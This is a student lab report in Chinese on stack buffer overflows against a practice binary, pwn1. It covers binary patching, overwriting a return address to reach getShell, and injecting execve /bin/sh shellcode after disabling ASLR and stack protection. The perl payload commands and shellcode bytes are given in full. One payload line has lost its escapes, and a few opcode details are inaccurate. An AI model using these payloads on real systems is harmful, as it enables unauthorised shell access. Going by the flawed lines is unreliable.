20212805 2021-2022-2 《网络攻防实践》第九次作业
一、知识点梳理与总结
实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP(机器码:90):“空指令”,仅当作该指令已被执行,不做任何实际操作,并继续执行该指令后的下一条指令;
JNE(机器码:75):“条件转移指令”,若不相等,跳转;
JE(机器码:74):“条件转移指令”,与JNE相反,相等则跳转;
JMP(机器码:EA):“无条件转移指令”,转移指转移CPU在代码段中执行的代码位置,分段内转移和段间转移,如果只修改IP,则叫段内转移,如果修改了CS,则叫段间转移。
- JMP short 段内直接短转
- JMP near 段内直接近转移
- JMP word 段内间接转移
- JMP far 段间直接(远)转移
CMP:“比较指令”,类似于减法指令,只对操作数之间的运算进行比较,不保存结果。
2、掌握反汇编与十六进制编程器
- 反汇编命令:
objdump -d filename
- objdump -d pwn1 | more
- "objdump":object dump——项目转储
- "-d":disassemble——反汇编
- "|":管道符——以第一个命令的输出为第二个命令的输入
- "more"——分页显示
- 十六进制编程器
- 以16进制视图进行文本编辑的编辑工具软件
- %!xxd——将文件改为16进制显示
- %!xxd -r——文件改回ASCII码
- perl -e 'print "xxx"' > input——使用Perl语言来形成包含十六进制的键盘输入
3、能正确修改机器指令改变程序执行流程
见实践任务一
4、能正确构造payload进行bof攻击
见实践任务三
二、实践过程
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实践任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
1.思路:
正常运行状态,pwn1文件会由main函数调用foo函数,然后foo函数会简单回显任何用户输入的字符串。调用时,会首先跳转到foo函数的首地址,假如修改机器指令为getshell函数的首地址,就可以使main函数在尝试调用时进入getshell函数。
2.操作:
1、输入cp pwn1 pwn20212805
备份
2、 输入objdump -d pwn1 | more
将pwn20212805反汇编,并找到main函数
3、查看call 8048491<foo>,可知该语句执行跳转,且其对应的机器指令为e8 d7 ff ff ff,其要跳转的地址为d7 ff ff ff
4、找到getshell函数首地址为“0804847d”,foo函数的首地址为“08048491”
5、计算机器指令
d7 ff ff ff是一段补码,其值为08048491-080484ba,如果要跳转到getshell函数,就要计算0804847d-080484ba,并将原指令跳转到的地址改为计算出来的的补码
得到结果为C3 FF FF FF
问题1:此处遇到问题,即用47d-4ba始终得不到最精确的结果,结果不是C3 FF FF FF,打开计算机属性,将字长改为64位后,解决问题
6、修改
-
使用vi编辑器打开pwn1文件
-
按
esc
键,输入:%!xxd
,此时显示为16进制形式 - 将”d7“修改成“c3”
- 输入
:%!xxd -r,还原
- 反汇编,确认结果
7.结果
实验成功
实践任务二 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
思路:
1、函数调用时,还用到call指令,计算机通过该指令转移到调用的子程序,一般来说,call指令相当于执行一条PUSH指令加一条JMP指令:
push eip-先将eip压入堆栈,再进行跳转。
jump XXX-eip保存的是call指令下一条指令的地址,当调用结束后,程序通过这个地址进行返回。
2、缓冲区溢出:
程序调用时,会形成栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞
,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,如果刻意设计这个字符串,就可以覆盖返回地址,使返回地址指向getshell。
实践:
1.反汇编pwn20212805
如图,该程序为foo函数留出了“0x1c”(28字节)的缓冲区。main函数中eip中装入返回地址“080484ba”
2、覆盖“080484ba”
调用foo函数后eip进栈,保存返回地址,占4个字节,保存主函数ebp,占4个字节,再然后是缓冲区的28字节
验证:
问题2:安装gdb时无法解析域名,尝试ping www.baidu.com失败,推测断网,把网络适配器从自定义模式改为桥接模式,直接连接物理网络,问题解决。
问题3:显示权限不够,尝试sudo提权,仍无法解决,chmod u+x *.sh,添加可执行权限,解决
输入gdb pwn20212805,
输入“r”运行。
输入字符串我们构造1111111122222222333333334444444412345678
,输入info r
观察此时各寄存器的值
可以看出,eip寄存器的值是我们输入字符串的“1234”,证明eip确实被32个字节后的第33——36字节所覆盖
4.以input为输入运行文件
输入(cat input; cat) | ./pwn20212805
实验成功
实践任务三 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
思路:
1.shellcode:
shellcode的目的是为获取一个交互式的shell,其本身是一段机器指令。
在实际的应用中,像添加一个用户、运行一条指令,凡是用来注入的机器指令段都通称为shellcode。
2.攻击buf的构造:
两种构造攻击buf的方法:
- retaddr+nops+shellcode
- nops+shellcode+retadd
- nops:空指令,机器码为“0x90”,什么也不做,直接进行下一个指令
-
本次实验的结构为retaddr+nops+shellcode
实践:
- 输入
execstack -s pwn1 //设置堆栈可执行
- 输入
execstack -q pwn1
- 输入
more /proc/sys/kernel/randomize_va_space
- 输入
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- 输入
more /proc/sys/kernel/randomize_va_space
问题4:执行echo "0" > /proc/sys/kernel/randomize_va_space ,显示zsh:权限不够。
原因;这是 sudo 和 shell 重定向的常见问题。“sudoness”不会传播到重定向之外
- 输入
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode,确定retaddr的值
- 注入攻击buf
(cat input_shellcode;cat) | ./pwn1
调试:
- 打开另一个终端,找到pwn2的进程
- 如图,进程id为45802
- 启动gdb,输入
attach 45802
- 输入disassemble foo
- 输入
break *0x080484ae
-
运行到断点后,查看栈顶指针
- 构造
- perl -e 'print "A" x 32;print"\xe0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00"' > input_shellcode
- 运行
遇到的问题
-
问题1:实践一处,计算计算机指令时,即用47d-4ba始终得不到最精确的结果,结果不是C3 FF FF FF,打开计算机属性,将字长改为64位后,解决问题
-
问题2:安装gdb时无法解析域名,尝试ping www.baidu.com失败,推测断网,把网络适配器从自定义模式改为桥接模式,直接连接物理网络,问题解决。
-
问题3:显示权限不够,尝试sudo提权,仍无法解决,chmod u+x *.sh,添加可执行权限,解决